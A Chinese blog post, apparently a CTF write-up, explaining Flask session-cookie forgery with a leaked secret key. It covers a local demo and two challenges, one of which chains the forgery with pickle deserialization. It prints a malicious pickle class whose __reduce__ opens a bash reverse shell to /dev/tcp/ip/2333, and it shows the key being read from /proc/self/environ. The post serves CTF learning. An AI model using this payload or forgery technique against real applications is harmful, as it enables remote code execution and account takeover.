flask中的session伪造问题

前言

这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的session伪造问题。

flask中的session

flask是非常轻量级的web框架,它的session是存储在客户端的,是用户可见的,这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。

from flask import Flask,session
app = Flask(__name__)
app.secret_key = "iamXiLitter"
@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "XiLitter":
            return "欢迎XiLitter"
        if name == "admin":
            return "欢迎admin"
        else:
            return "你是谁"
    else:
        session['name']="XiLitter"
        return "session重新设置"

if __name__ == '__main__':
    app.run(debug=False,port=8000)

打开cookie查看到有session,值是类似于base64编码的字符串。

拿去base64解码,看看里面的存储格式是什么样的。

是json格式存储,还有一堆乱码,那应该就是数据签名。

session安全问题

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.secret_key = "iamXiLitter"

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录。

github上是有伪造脚本的,python2和python3的都有,下载链接:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

本机环境python3,有了密钥,对session进行伪造。

伪造出的session添加到cookie中重新刷新 。成功登录admin

 通过两道题目体会session伪造在ctf中的应用。

[HCTF 2018]admin

这道题貌似有很多解法。session伪造是其中一种。它这个给的提示有些隐晦,我们注册登录后,在修改密码的地方查看源代码,有题目源码地址。

单看这个链接也能猜到用的是flask框架。要进行session伪造就必须要拿到密钥。把源码打包下载下来。可以在config.py中找到密钥。

密钥为ckj123。那么就先看看客户端session。在这里直接base64解码是不行的,在网上找解密脚本运行出来。

我们只需要将name中的qwe值替换为admin就可以了。利用密钥伪造出admin的session,还是利用脚本。

拿去替换原来的session就可以成功admin登录啦。

[HFCTF 2021 Final]easyflask 

上一个题是专门考察session伪造的,那么这一题就是结合py反序列化一起考察的题目。

直接看题目,跟着提示很容易找到源码。

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

先对代码进行审计。因为对python代码不是很熟,所以比较啰嗦。审计flask主要看路由。先看/路由。序列化上面的User类,将序列化值存储在session中。再看/file路由。很明显,它主要对file传入的内容进行一个路径拼接,然后进行一个过滤,最后读取该路径的文件内容。最后是/admin路由。对session中的值进行反序列化,最后判断是否为admin。

这题主要围绕session进行攻击的,所以对session的任意伪造是必不可少的。那么伪造session必须得找到密钥。题目没有直接给我们。唯一能找到密钥的点就是/file路由的文件读取。读取/proc/self/environ就可以得到密钥。个人认为是读取当前进程的环境变量,密钥在环境变量里。

那么密钥就是glzjin22948575858jfjfjufirijidjitg3uiiuuh。剩下就是py反序列化了。思路很简单,直接构造__reduce__魔术方法执行rce。

直接构造恶意类,貌似直接命令执行会报错误,这里用反弹shell解决。

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

这个User类有点奇怪,用了type函数,但是type返回的就是类,所以无影响。而lambda就是匿名函数了,冒号后面的表达式会被执行。在这里我卡了好久,用本机运行出来的序列化串一直无法打通,最后我在kali里用python2运行出来的序列化串可以成功反弹shell。但是环境不是python3的吗,不理解。

那就kali运行出序列化串,

然后就是将这串值加入到session中,先将session拿出来看看结构。这个可以base64解码直接看的

然后就是利用脚本进行伪造了。同时开启监听。

访问/admin路由,将session替换掉,然后重新刷新,接着我的vps成功反弹了shell。在根目录成功找到flag。

注意一定要在linux环境下用python2运行出序列化串才能打通。

结语

flask的session伪造大部分都是跑脚本,只有在找密钥这个地方花点心思。同时,它可以结合许多的漏洞结合起来考察。所以在flask代码中出现SECRET_KEY就要留意一下是不是跟session伪造有关了。

相关链接:

Flask 的 SESSION 伪造 | Paoka1's Blog

[HFCTF 2021 Final]easyflask_errorr0的博客-CSDN博客_easyflask1

  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值